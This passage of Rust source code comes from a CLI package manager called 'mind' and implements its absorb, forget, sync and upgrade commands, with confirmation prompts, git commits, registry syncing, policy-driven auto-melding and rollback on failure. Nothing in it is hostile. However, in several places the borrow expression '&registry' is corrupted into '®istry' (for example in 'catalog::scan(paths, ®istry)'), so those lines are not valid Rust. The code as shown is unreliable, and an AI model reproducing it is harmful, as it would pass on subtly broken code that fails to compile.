let canon_dest = std::fs::canonicalize(dest_path).unwrap_or_else(|_| dest_path.to_path_buf());
let canon_root =
std::fs::canonicalize(&candidate).unwrap_or_else(|_| normalize_path(&candidate));
if !canon_root.starts_with(&canon_dest) {
return Err(MindError::InvalidRoot {
source_name: dest_path.to_string_lossy().into_owned(),
root: root_rel.to_string(),
});
}
Ok(candidate)
}
fn normalize_path(path: &std::path::Path) -> std::path::PathBuf {
use std::path::Component;
let mut components: Vec<&std::ffi::OsStr> = Vec::new();
for comp in path.components() {
match comp {
Component::ParentDir => {
if components
.last()
.is_some_and(|c| *c != std::ffi::OsStr::new("/"))
{
components.pop();
}
}
Component::CurDir => {
}
_ => {
components.push(comp.as_os_str());
}
}
}
components.iter().collect()
}
fn dest_source_prefix(dest_path: &std::path::Path, registry: &Registry) -> Option<String> {
if let Ok(spec) = parse_spec(&dest_path.to_string_lossy())
&& let Some(src) = registry.find(&spec.name)
&& let Some(alias) = src.alias.as_deref().filter(|a| !a.is_empty())
{
return Some(alias.to_string());
}
let mindfile = crate::mindfile::MindToml::load(dest_path).unwrap_or_default();
mindfile
.as_ref()
.and_then(|m| m.source.prefix.clone())
.filter(|p| !p.is_empty())
}
fn absorb_effective_key(kind: ItemKind, effective_name: &str) -> String {
format!("{}:{}", kind.as_str(), strip_ansi(effective_name))
}
pub fn absorb(
paths: &Paths,
item_ref_str: &str,
to: Option<String>,
force: bool,
yes: bool,
) -> Result<()> {
let out = crate::render::ctx();
let parsed = parse_item_ref(item_ref_str)?;
if is_glob(&parsed.name) {
return Err(MindError::InvalidItemRef {
name: item_ref_str.to_string(),
});
}
let manifest = Manifest::load(paths)?;
let unmanaged_items = crate::unmanaged::scan(paths, &manifest)?;
let item = crate::unmanaged::resolve(&unmanaged_items, &parsed)?;
if item.kind == ItemKind::Tool {
return Err(MindError::InvalidItemRef {
name: item_ref_str.to_string(),
});
}
let (dest_path, interactive_dest) = resolve_absorb_dest(paths, to, yes)?;
if !crate::git::is_repo(&dest_path) {
return Err(MindError::DestinationNotRepo {
path: dest_path.to_string_lossy().into_owned(),
});
}
if interactive_dest {
offer_save_absorb_to(paths, &dest_path, yes)?;
}
let scan_root = first_scan_root(&dest_path)?;
let dest_item_path = convention_path_in_root(&scan_root, item.kind, &item.name);
if dest_item_path.exists() && !force {
return Err(MindError::AbsorbCollision {
kind: item.kind.as_str().to_string(),
name: item.name.clone(),
dest_path: dest_item_path.to_string_lossy().into_owned(),
});
}
let source_lobe_path = item
.paths
.first()
.ok_or_else(|| MindError::NotInstalled {
name: item.key().into(),
})?
.clone();
let stray_paths: Vec<&std::path::PathBuf> = item.paths.iter().skip(1).collect();
if !yes {
if !out.json {
println!("absorb will:");
println!(
" move {} -> {}",
display_path(&source_lobe_path),
display_path(&dest_item_path)
);
for stray in &stray_paths {
println!(" delete (stray copy) {}", display_path(stray));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("absorbing {}", item.display_key()),
out.json,
),
});
}
if !confirm("proceed with absorb?")? {
println!("cancelled; nothing changed");
return Ok(());
}
}
if let Some(parent) = dest_item_path.parent() {
std::fs::create_dir_all(parent).map_err(|e| MindError::io(parent, e))?;
}
if dest_item_path.exists() {
crate::install::remove_path(&dest_item_path)?;
}
copy_path_recursive(&source_lobe_path, &dest_item_path)?;
let commit_msg = format!("absorb {}:{}", item.kind.as_str(), item.name);
let git_err = (|| {
crate::git::add_all(&dest_path)?;
crate::git::commit(&dest_path, &commit_msg)
})();
if let Err(e) = git_err {
let _ = crate::install::remove_path(&dest_item_path);
return Err(e);
}
let dest_spec = dest_path.to_string_lossy().into_owned();
let freshly_melded = !is_melded(paths, &dest_spec, None)?;
if freshly_melded {
let meld_err = meld(
paths,
&dest_spec,
None,
vec![],
vec![],
false,
PinRequest::None,
None,
false,
None, );
if let Err(e) = meld_err {
let _ = crate::install::remove_path(&dest_item_path);
return Err(e);
}
}
let backup = paths
.tmp_dir()
.join("absorb-backup")
.join(item.kind.as_str())
.join(&item.name);
let _ = crate::install::remove_path(&backup);
if let Some(p) = backup.parent() {
std::fs::create_dir_all(p).map_err(|e| MindError::io(p, e))?;
}
copy_path_recursive(&source_lobe_path, &backup)?;
if let Err(e) = crate::install::remove_path(&source_lobe_path) {
let _ = crate::install::remove_path(&backup);
return Err(e);
}
let registry_for_prefix = Registry::load(paths)?;
let effective_prefix = dest_source_prefix(&dest_path, ®istry_for_prefix);
let effective_name = crate::namespace::apply(&item.name, &effective_prefix);
let effective_key = absorb_effective_key(item.kind, &effective_name);
let dest_source_name = parse_spec(&dest_spec)
.map(|s| s.name)
.unwrap_or_else(|_| dest_spec.clone());
let learn_ref = format!("{}:{}", item.kind.as_str(), effective_name);
let qualified_ref = format!("{dest_source_name}#{learn_ref}");
let learn_flow = InstallFlow {
yes: true, clobber: Clobber::Force, dangerously_skip: false,
dangerously_skip_build: false,
};
let learn_err: Result<()> = if out.json {
learn_collecting(paths, &qualified_ref, learn_flow).map(|_| ())
} else {
learn(paths, &qualified_ref, false, learn_flow)
};
if let Err(e) = learn_err {
if let Some(parent) = source_lobe_path.parent() {
let _ = std::fs::create_dir_all(parent);
}
let _ = copy_path_recursive(&backup, &source_lobe_path);
let _ = crate::install::remove_path(&backup);
if freshly_melded {
let _ = unmeld_one(paths, &dest_source_name, false, true, false, None);
}
crate::render::warn(format!(
"absorb left commit '{}' in {}; remove it with git if unwanted",
strip_ansi(&commit_msg),
display_path(&dest_path)
));
return Err(e);
}
let _ = crate::install::remove_path(&backup);
if out.json {
let mut result = MutationResult::new("absorb", item_ref_str, "absorbed");
result.key = Some(effective_key);
return print_json(&result);
}
println!(
"{} absorbed {} -> managed as {effective_key}",
out.ok(),
item.key().display()
);
Ok(())
}
fn resolve_absorb_dest(
paths: &Paths,
to_flag: Option<String>,
yes: bool,
) -> Result<(std::path::PathBuf, bool)> {
if let Some(p) = to_flag {
let path = expand_tilde(&p);
return Ok((path, false));
}
if let Some(p) = std::env::var_os("MIND_ABSORB_TO") {
let path = expand_tilde(&p.to_string_lossy());
return Ok((path, false));
}
let config = Config::load(paths)?;
if let Some(p) = config.absorb_to {
let path = expand_tilde(&p);
return Ok((path, false));
}
if !crate::hook::is_tty() {
return Err(MindError::ConfirmationRequired {
action: "absorb (no destination configured; re-run with --to <path>)".to_string(),
});
}
let personal = paths.mind_home.join("personal");
let personal_str = personal.to_string_lossy();
let chosen = if yes {
personal.clone()
} else {
println!("No absorb destination configured.");
println!("Enter a path, or press Enter to use the built-in: {personal_str}");
print!("> ");
let _ = std::io::stdout().flush();
let mut line = String::new();
std::io::stdin()
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?;
let trimmed = line.trim();
if trimmed.is_empty() {
personal.clone()
} else {
expand_tilde(trimmed)
}
};
if chosen == personal && !personal.exists() {
if !out_ctx().json {
println!(
"Creating {} and initializing git repository",
personal.display()
);
}
crate::git::git_init(&personal)?;
}
Ok((chosen, true))
}
fn offer_save_absorb_to(paths: &Paths, dest: &std::path::Path, yes: bool) -> Result<()> {
if yes {
let mut config = Config::load(paths)?;
config.absorb_to = Some(dest.to_string_lossy().into_owned());
paths.ensure_layout()?;
config.save(paths)?;
return Ok(());
}
if !crate::hook::is_tty() {
return Ok(());
}
print!(
"\nSave '{}' as absorb_to in config.toml? [y/N] ",
dest.display()
);
let _ = std::io::stdout().flush();
let mut line = String::new();
std::io::stdin()
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?;
if parse_confirm(&line, false) {
let mut config = Config::load(paths)?;
config.absorb_to = Some(dest.to_string_lossy().into_owned());
paths.ensure_layout()?;
config.save(paths)?;
println!("Saved absorb_to = '{}'", dest.display());
}
Ok(())
}
fn out_ctx() -> crate::render::OutputCtx {
crate::render::ctx()
}
fn copy_path_recursive(src: &std::path::Path, dst: &std::path::Path) -> Result<()> {
if src.is_dir() {
std::fs::create_dir_all(dst).map_err(|e| MindError::io(dst, e))?;
let rd = std::fs::read_dir(src).map_err(|e| MindError::io(src, e))?;
for entry in rd.flatten() {
let from = entry.path();
let to = dst.join(entry.file_name());
copy_path_recursive(&from, &to)?;
}
} else {
std::fs::copy(src, dst).map_err(|e| MindError::io(src, e))?;
}
Ok(())
}
fn expand_tilde(path: &str) -> std::path::PathBuf {
if path == "~" {
return dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("~"));
}
if let Some(rest) = path.strip_prefix("~/")
&& let Some(home) = dirs::home_dir()
{
return home.join(rest);
}
std::path::PathBuf::from(path)
}
pub fn forget(
paths: &Paths,
item_ref: Option<&str>,
unmanaged: bool,
dropped: bool,
yes: bool,
force: bool,
dangerously_skip: bool,
) -> Result<()> {
if unmanaged {
return forget_unmanaged_bulk(paths, item_ref, yes);
}
let out = crate::render::ctx();
let mut manifest = Manifest::load(paths)?;
let keys: Vec<String> = if dropped {
let keys = dropped_item_keys(paths, &manifest, item_ref)?;
if keys.is_empty() {
if out.json {
return print_json(&MutationResult::new(
"forget",
item_ref.unwrap_or("--dropped"),
"no-op",
));
}
println!("no dropped items; nothing to forget");
return Ok(());
}
keys
} else {
let item_ref = item_ref.expect("item_ref required without --unmanaged or --dropped");
let parsed = parse_item_ref(item_ref)?;
forget_ref_keys(paths, &manifest, &parsed, yes)?
};
if keys.is_empty() {
return Ok(());
}
let item_ref = item_ref.unwrap_or("--dropped");
forget_keys(
paths,
&mut manifest,
keys,
item_ref,
yes,
force,
dangerously_skip,
)
}
fn dropped_item_keys(
paths: &Paths,
manifest: &Manifest,
item_ref: Option<&str>,
) -> Result<Vec<String>> {
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry)?;
let candidates: Vec<&crate::manifest::InstalledItem> = match item_ref {
Some(r) => select_installed(&manifest.items, &parse_item_ref(r)?),
None => manifest.items.values().collect(),
};
let mut keys: Vec<String> = candidates
.into_iter()
.filter(|m| match registry.find(&m.source) {
None => true,
Some(s) => {
clone_dir_checked(paths, s).is_ok_and(|d| d.is_dir())
&& !catalog.iter().any(|it| {
it.source == m.source && it.kind == m.kind && it.name == m.bare_name
})
}
})
.map(|m| m.key().into())
.collect();
keys.sort();
Ok(keys)
}
fn forget_ref_keys(
paths: &Paths,
manifest: &Manifest,
parsed: &crate::resolve::ItemRef,
yes: bool,
) -> Result<Vec<String>> {
Ok(if is_glob(&parsed.name) {
let matches = select_installed(&manifest.items, parsed);
if matches.is_empty() {
return Err(MindError::NotInstalled {
name: parsed.name.clone(),
});
}
matches.iter().map(|it| it.key().into()).collect()
} else {
match crate::resolve::resolve_installed(&manifest.items, parsed) {
Ok(it) => vec![it.key().into()],
Err(MindError::NotInstalled { .. }) => {
let unmanaged_items = crate::unmanaged::scan(paths, manifest)?;
let item = crate::unmanaged::resolve(&unmanaged_items, parsed)?;
forget_unmanaged_single(item, yes)?;
Vec::new()
}
Err(e) => return Err(e),
}
})
}
fn forget_keys(
paths: &Paths,
manifest: &mut Manifest,
keys: Vec<String>,
item_ref: &str,
yes: bool,
force: bool,
dangerously_skip: bool,
) -> Result<()> {
let out = crate::render::ctx();
if keys.len() > 1 && !yes {
if !out.json {
println!("forget would remove {} item(s):", keys.len());
for key in &keys {
println!(" {} {}", out.warn(), crate::sanitize::strip_ansi(key));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("removing {} items", keys.len()),
out.json,
),
});
}
if !confirm("remove these item(s)?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry).unwrap_or_default();
if keys.len() == 1 {
let removed_key = &keys[0];
let graph = crate::deps::installed_graph(
&catalog,
|it| {
manifest
.items
.get(it.key().as_str())
.is_some_and(|m| m.source == it.source)
},
read_item_text,
);
let dependents = graph.dependents(removed_key);
if !dependents.is_empty() && !yes && !force {
let removed_display = crate::sanitize::strip_ansi(removed_key);
if !out.json {
println!(
"{} removing {removed_display} will break the following installed items that depend on it:",
out.warn()
);
for dep in &dependents {
println!(" {}", crate::sanitize::strip_ansi(dep));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!(
"removing {removed_display} (has {} dependent(s))",
dependents.len()
),
out.json,
),
});
}
if !confirm("remove anyway?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
}
let mut removed: Vec<String> = Vec::new();
let mut removed_sources: BTreeSet<String> = BTreeSet::new();
for key in keys {
let item = manifest.items.remove(&key).expect("key from manifest");
let uninstall_hooks: Vec<&crate::mindfile::ResolvedHook> =
item_catalog_match(&catalog, &item)
.map(|c| c.uninstall_hooks())
.unwrap_or_default();
let commit = registry
.find(&item.source)
.and_then(|s| s.commit.clone())
.unwrap_or_default();
if let Err(e) = uninstall_item(paths, &item, &uninstall_hooks, &commit, dangerously_skip) {
manifest.items.insert(key.clone(), item);
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
return Err(e);
}
removed_sources.insert(item.source.clone());
let key_display = crate::sanitize::strip_ansi(&key);
removed.push(key_display.clone());
if !out.json {
println!("{} forgot {key_display}", out.ok());
}
}
manifest.save(paths)?;
for src_name in &removed_sources {
if registry
.find(src_name)
.is_some_and(|s| s.item_path.is_some())
&& !manifest.items.values().any(|it| &it.source == src_name)
{
let quoted_src = crate::error::shell_quote(src_name);
eprintln!(
"hint: item link {src_name} has nothing installed; run `mind unmeld {quoted_src}` to drop it"
);
}
}
if out.json {
let mut result = MutationResult::new("forget", item_ref, "removed");
result.removed = removed;
return print_json(&result);
}
Ok(())
}
fn forget_unmanaged_single(item: &crate::unmanaged::UnmanagedItem, yes: bool) -> Result<()> {
let out = crate::render::ctx();
let where_ = item
.paths
.iter()
.map(|p| display_path(p))
.collect::<Vec<_>>()
.join(", ");
if !out.json {
println!(
"{} {} is not managed by mind: it is your own file or directory at {where_}, not a mind install. Removing it deletes it.",
out.warn(),
item.display_key()
);
}
if !yes {
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("removing unmanaged {}", item.display_key()),
out.json,
),
});
}
if !confirm("remove this unmanaged item?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
for p in &item.paths {
crate::install::remove_path(p)?;
}
if out.json {
let mut result = MutationResult::new("forget", &item.display_key(), "removed");
result.removed = vec![item.display_key()];
return print_json(&result);
}
println!("{} forgot {} (unmanaged)", out.ok(), item.display_key());
Ok(())
}
fn forget_unmanaged_bulk(paths: &Paths, item_ref: Option<&str>, yes: bool) -> Result<()> {
let out = crate::render::ctx();
let manifest = Manifest::load(paths)?;
let scanned = crate::unmanaged::scan(paths, &manifest)?;
let parsed = item_ref.map(parse_item_ref).transpose()?;
let matched = crate::unmanaged::select(&scanned, parsed.as_ref());
let sentinel = item_ref.unwrap_or("*");
if matched.is_empty() {
return Err(MindError::NotInstalled {
name: sentinel.to_string(),
});
}
if !out.json {
println!(
"{} forget --unmanaged would remove {} unmanaged item(s):",
out.warn(),
matched.len()
);
for item in &matched {
println!(" {} {}", out.warn(), item.display_key());
}
println!(
"{} these items are NOT managed by mind: removing them deletes your own files or directories, not symlinks.",
out.warn()
);
}
if !yes {
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("removing {} unmanaged items", matched.len()),
out.json,
),
});
}
if !confirm("remove these unmanaged items?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let mut removed: Vec<String> = Vec::new();
for item in &matched {
for p in &item.paths {
crate::install::remove_path(p)?;
}
removed.push(item.display_key());
if !out.json {
println!("{} forgot {} (unmanaged)", out.ok(), item.display_key());
}
}
if out.json {
let mut result = MutationResult::new("forget", sentinel, "removed");
result.removed = removed;
return print_json(&result);
}
Ok(())
}
pub fn sync(
paths: &Paths,
then_upgrade: bool,
yes: bool,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
sync_with_selector(
paths,
None,
then_upgrade,
yes,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)
}
fn select_sources(registry: &Registry, sel: &str) -> Result<Vec<String>> {
let names: Vec<String> = registry
.sources
.iter()
.filter(|s| crate::resolve::source_matches_glob(&s.name, sel))
.map(|s| s.name.clone())
.collect();
if names.is_empty() {
return Err(MindError::SourceNotFound {
name: sel.to_string(),
});
}
Ok(names)
}
pub fn sync_with_selector(
paths: &Paths,
source_selector: Option<&str>,
then_upgrade: bool,
yes: bool,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
let out = crate::render::ctx();
if let Some(sel) = source_selector {
crate::resolve::validate_source_selector(sel)?;
}
let policy = Policy::load()?;
let prefer_ssh = Config::load(paths)?.ssh;
let mut registry = Registry::load(paths)?;
let mut sync_skipped: Vec<SkippedEntry> = Vec::new();
let mut provision_failures: Vec<String> = Vec::new();
let mut provisioned_keys: Vec<String> = Vec::new();
if let Some(policy) = policy.as_ref().filter(|_| source_selector.is_none()) {
paths.ensure_layout()?;
let mut visited = HashSet::new();
let mut provisioned = 0usize;
for am in policy.auto_meld() {
let source_registered: bool = 'registered: {
if let Ok(spec) = parse_spec_quiet(&am.repo)
&& let Some(src) = registry.sources.iter_mut().find(|s| s.name == spec.name)
{
let old_pin = src.pin.clone();
if same_declared_pin(&old_pin, &am.pin) {
break 'registered true;
}
src.pin = am.pin.clone();
provisioned += 1; if !out.json {
println!(
" {} re-pinned {} {} -> {}",
out.ok(),
spec.name,
pin_description(&old_pin),
pin_description(&am.pin),
);
}
break 'registered true;
}
let snapshot_len = registry.sources.len();
match meld_recursive(
paths,
&mut registry,
&am.repo,
None,
vec![],
vec![],
false, PinRequest::Follow(am.pin.clone()), false, &mut visited,
Some(policy),
None, false, prefer_ssh,
true, None, &mut sync_skipped,
None, None, &mut MeldProfiles::None,
false, ) {
Ok(n) => {
provisioned += n;
break 'registered true;
}
Err(e) => {
registry.sources.truncate(snapshot_len);
if !out.json {
eprintln!(
" {} auto_meld provisioning failed for '{}': {e}",
out.warn(),
am.repo
);
}
provision_failures.push(am.repo.clone());
break 'registered false;
}
}
};
if am.install && source_registered {
if let Ok(spec) = parse_spec_quiet(&am.repo) {
if provisioned > 0 {
if let Err(e) = registry.save(paths) {
provision_failures.push(am.repo.clone());
if !out.json {
eprintln!(
" {} auto_meld registry save failed before install for '{}': {e}",
out.warn(),
am.repo
);
}
provisioned = 0; continue;
}
provisioned = 0; }
let (keys, item_failures) =
install_provisioned_items(paths, &spec.name, am.run_build_hooks);
provisioned_keys.extend(keys);
for (key, e) in item_failures {
if !out.json {
eprintln!(
" {} auto_meld item install failed for '{}' ({}): {e}",
out.warn(),
am.repo,
key,
);
}
provision_failures.push(format!("{}:{}", am.repo, key));
}
}
}
}
if provisioned > 0 {
registry.save(paths)?;
}
}
if registry.sources.is_empty() && provision_failures.is_empty() {
if out.json {
return print_json(&MutationResult::new("sync", "", "no-op"));
}
println!("no sources melded; run `mind meld <owner/repo>` to add one");
return Ok(());
}
let selected: Option<Vec<String>> = source_selector
.map(|sel| select_sources(®istry, sel))
.transpose()?;
let in_scope = |name: &str| {
selected
.as_ref()
.is_none_or(|ns| ns.iter().any(|n| n == name))
};
let total = selected.as_ref().map_or(registry.sources.len(), Vec::len);
let mut failures: Vec<String> = Vec::new();
let mut synced = 0usize;
for source in &mut registry.sources {
if !in_scope(&source.name) {
continue;
}
if let Some(policy) = policy.as_ref()
&& policy.lock()
&& !policy.allow_matches(&source.base_identity())
{
if !out.json {
println!(
"{} skipping {}: source not permitted by the managed policy's allowlist",
out.warn(),
source.name
);
}
continue;
}
if !out.json {
print!("{} syncing {} ... ", out.bullet(), source.name);
let _ = std::io::stdout().flush();
}
let refreshed = (|| -> Result<(String, bool, Option<String>, Pin)> {
let dir = clone_dir_checked(paths, source)?;
if source.is_linked() {
if !dir.is_dir() {
return Err(MindError::NotADirectory {
path: dir.display().to_string(),
});
}
let new_commit = git::head_commit(&source.url, &dir)
.ok()
.or_else(|| source.commit.clone())
.unwrap_or_default();
let changed = source.commit.as_deref() != Some(new_commit.as_str());
let desc = MindToml::load(&dir)?
.and_then(|mt| mt.source.description)
.map(|d| strip_ansi(&d));
return Ok((new_commit, changed, desc, source.pin.clone()));
}
let (new_commit, pin) = sync_clone_to_pin(source, &dir)?;
let changed = source.commit.as_deref() != Some(new_commit.as_str());
let desc = MindToml::load(&dir)?
.and_then(|mt| mt.source.description)
.map(|d| strip_ansi(&d));
Ok((new_commit, changed, desc, pin))
})();
match refreshed {
Ok((new_commit, changed, desc, pin)) => {
source.pin = pin;
source.commit = Some(new_commit.clone());
source.description = desc;
synced += 1;
if !out.json {
let label = if changed {
out.green("updated")
} else {
out.dim("up to date")
};
println!("{} ({})", label, short(&new_commit));
}
}
Err(e) => {
if !out.json {
println!("{}", out.red("failed"));
let safe_e = strip_ansi(&e.to_string());
eprintln!(" {} {}: {safe_e}", out.err(), source.name);
if git::is_auth_failure(&e) && !source.is_local() {
for line in git::auth_hint_lines(&source.ssh_url()) {
eprintln!("{line}");
}
} else if git::is_proxy_failure(&e) {
for line in git::proxy_hint_lines() {
eprintln!("{line}");
}
}
}
failures.push(source.name.clone());
}
}
}
registry.save(paths)?;
let version_rows = source_versions(®istry, &in_scope);
if source_selector.is_none() {
struct NestedTodo {
spec: String,
alias: Option<String>,
curated: CuratedConfig,
item_kind: Option<ItemKind>,
curator: String,
on_auth_failure: Option<crate::mindfile::OnAuthFailure>,
}
let mut nested: Vec<NestedTodo> = Vec::new();
for s in ®istry.sources {
if s.item_path.is_some() {
continue;
}
let clone_dir = s.clone_dir(paths);
let toml_path = clone_dir.join("mind.toml");
let Some(mt) = MindToml::load(&clone_dir).ok().flatten() else {
continue;
};
let Some(discover) = mt.discover else {
continue;
};
for ns in discover.sources {
let curated = CuratedConfig {
pin: ns.pin_directive(&toml_path)?,
roots: ns.roots.clone(),
add_roots: ns.add_roots.clone(),
flat_skills: ns.flat_skills,
hooks: ns.resolved_hooks(&toml_path)?,
};
let ns_alias = ns.effective_alias();
let ns_kind = ns.item_kind(&toml_path)?;
nested.push(NestedTodo {
spec: ns.source,
alias: ns_alias,
curated,
item_kind: ns_kind,
curator: s.name.clone(), on_auth_failure: ns.on_auth_failure,
});
}
}
for s in ®istry.sources {
if s.item_path.is_some() {
continue;
}
let clone_dir = s.clone_dir(paths);
let is_authoritative_source = MindToml::load(&clone_dir)
.ok()
.flatten()
.is_some_and(|m| m.is_authoritative());
if is_authoritative_source {
continue;
}
let marketplace_path = plugin_manifest::marketplace_manifest_path(&clone_dir);
if !marketplace_path.is_file() {
continue;
}
let Ok(manifest) = plugin_manifest::load_marketplace_manifest(&marketplace_path) else {
continue;
};
for entry in manifest.into_entries() {
if matches!(entry.source, plugin_manifest::PluginSource::InRepo { .. }) {
continue;
}
let repo_spec = marketplace_entry_spec(&entry, &clone_dir);
nested.push(NestedTodo {
spec: repo_spec,
alias: Some(entry.name),
curated: CuratedConfig {
pin: None,
roots: None,
add_roots: None,
flat_skills: false,
hooks: Vec::new(),
},
item_kind: None, curator: s.name.clone(), on_auth_failure: None,
});
}
}
let mut visited: HashSet<String> = registry
.sources
.iter()
.map(|s| format!("{}|{}", s.name, s.url))
.collect();
let mut discovered = 0usize;
for todo in nested {
if let Ok(mut s) = parse_spec_quiet(&todo.spec)
&& {
s.apply_alias(todo.alias.clone());
true
}
&& registry.find(&s.name).is_some()
{
continue;
}
let todo_alias = todo.alias.clone();
let todo_kind = todo.item_kind;
let todo_curator = todo.curator.clone();
match meld_recursive(
paths,
&mut registry,
&todo.spec,
todo.alias,
vec![],
vec![], false, PinRequest::None,
false,
&mut visited,
policy.as_ref(),
None, false, prefer_ssh,
true, Some(todo.curated),
&mut sync_skipped,
todo_kind, Some(todo_curator), &mut MeldProfiles::None,
false, ) {
Ok(n) => discovered += n,
Err(e) if git::is_auth_failure(&e) => {
let entry_name = parse_spec_quiet(&todo.spec)
.map(|mut s| {
s.apply_alias(todo_alias.clone());
s.name
})
.unwrap_or_else(|_| todo.spec.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
let Some(cfg) = &todo.on_auth_failure else {
return Err(e);
};
for line in auth_failure_lines(&entry_name, cfg) {
eprintln!("{line}");
}
if cfg.action == AuthFailureAction::Skip {
sync_skipped.push(SkippedEntry {
source: entry_name,
reason: "auth_failure".into(),
});
continue;
}
return Err(e);
}
Err(e) => {
let entry_name = parse_spec_quiet(&todo.spec)
.map(|mut s| {
s.apply_alias(todo_alias.clone());
s.name
})
.unwrap_or_else(|_| todo.spec.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
for line in clone_failure_lines(&entry_name, &e) {
eprintln!("{line}");
}
sync_skipped.push(SkippedEntry {
source: entry_name,
reason: "clone_failure".into(),
});
continue;
}
}
}
if discovered > 0 {
registry.save(paths)?;
}
}
let total_failed = failures.len() + provision_failures.len();
if total_failed > 0 {
return Err(MindError::SyncFailed {
failed: total_failed,
total: total + provision_failures.len(),
});
}
let mut upgraded: Vec<String> = Vec::new();
let mut version_rows = version_rows;
let mut breaking_moves: Vec<BreakingMoveJson> = Vec::new();
if then_upgrade {
let pass = upgrade_inner_scoped(
paths,
yes,
None,
true,
selected.as_deref().map_or(SourceScope::All, |names| {
SourceScope::Names(names, source_selector)
}),
None,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?;
if let Some(result) = pass {
upgraded = result.installed;
version_rows = result.sources;
breaking_moves = result.breaking;
}
}
if out.json {
let mut result = MutationResult::new("sync", "", "synced");
result.count = Some(synced);
result.skipped = sync_skipped;
result.installed = provisioned_keys.iter().map(|k| strip_ansi(k)).collect();
result.installed.extend(upgraded);
result.sources = version_rows;
result.breaking = breaking_moves;
print_json(&result)?;
}
Ok(())
}
pub(crate) fn sync_sources_for_upgrade_scoped(
paths: &Paths,
registry: &mut Registry,
item_ref: Option<&str>,
names: Option<&HashSet<String>>,
out: &crate::render::OutputCtx,
) -> Result<()> {
let in_scope: Option<HashSet<String>> =
item_ref.and_then(|r| parse_item_ref(r).ok()).map(|f| {
Manifest::load(paths)
.map(|m| {
m.items
.values()
.filter(|it| crate::resolve::installed_matches_glob(it, &f))
.map(|it| it.source.clone())
.collect()
})
.unwrap_or_default()
});
let should_sync = |name: &str| {
in_scope.as_ref().is_none_or(|s| s.contains(name)) && names.is_none_or(|s| s.contains(name))
};
for source in &mut registry.sources {
if !should_sync(&source.name) {
continue;
}
let refreshed = (|| -> Result<(String, Pin)> {
let dir = clone_dir_checked(paths, source)?;
if source.is_linked() {
if !dir.is_dir() {
return Err(MindError::NotADirectory {
path: dir.display().to_string(),
});
}
let new_commit = git::head_commit(&source.url, &dir)
.ok()
.or_else(|| source.commit.clone())
.unwrap_or_default();
return Ok((new_commit, source.pin.clone()));
}
sync_clone_to_pin(source, &dir)
})();
match refreshed {
Ok((new_commit, pin)) => {
source.pin = pin;
source.commit = Some(new_commit);
}
Err(e) => {
if !out.json {
eprintln!(
" warning: could not sync {}: {e}; upgrade will use stale clone",
source.name
);
}
}
}
}
registry.save(paths)?;
Ok(())
}
pub fn upgrade(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner(
paths,
yes,
item_ref,
false,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
pub fn upgrade_no_sync(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner(
paths,
yes,
item_ref,
true,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
pub fn upgrade_source(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
source_selector: &str,
no_sync: bool,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner_scoped(
paths,
yes,
item_ref,
no_sync,
SourceScope::Filter(source_selector),
None,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
pub(crate) fn upgrade_sources_no_sync(
paths: &Paths,
yes: bool,
sources: &[String],
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner_scoped(
paths,
yes,
None,
true,
SourceScope::Names(sources, None),
None,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
#[allow(clippy::too_many_arguments)]
pub(crate) fn meld_curated_entry(
paths: &Paths,
registry: &mut Registry,
curator: &str,
toml_path: &std::path::Path,
entry: &crate::mindfile::NestedSource,
policy: Option<&Policy>,
prefer_ssh: bool,
dangerously_skip_hook_check: bool,
skipped: &mut Vec<SkippedEntry>,
) -> Result<usize> {
entry.validate(toml_path)?; let curated = curated_config_for(entry, toml_path)?;
let item_kind = entry.item_kind(toml_path)?; let mut visited: HashSet<String> = registry
.sources
.iter()
.map(|s| format!("{}|{}", s.name, s.url))
.collect();
meld_recursive(
paths,
registry,
&entry.source,
entry.effective_alias(), vec![],
vec![],
false,
PinRequest::None, false, &mut visited,
policy,
None, dangerously_skip_hook_check,
prefer_ssh,
true, Some(curated),
skipped,
item_kind,
Some(curator.to_string()), &mut MeldProfiles::Curated(entry), false, )
}
pub fn upgrade_no_sync_keys(
paths: &Paths,
yes: bool,
keys: &[String],
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner_scoped(
paths,
yes,
None,
true,
SourceScope::All,
Some(keys),
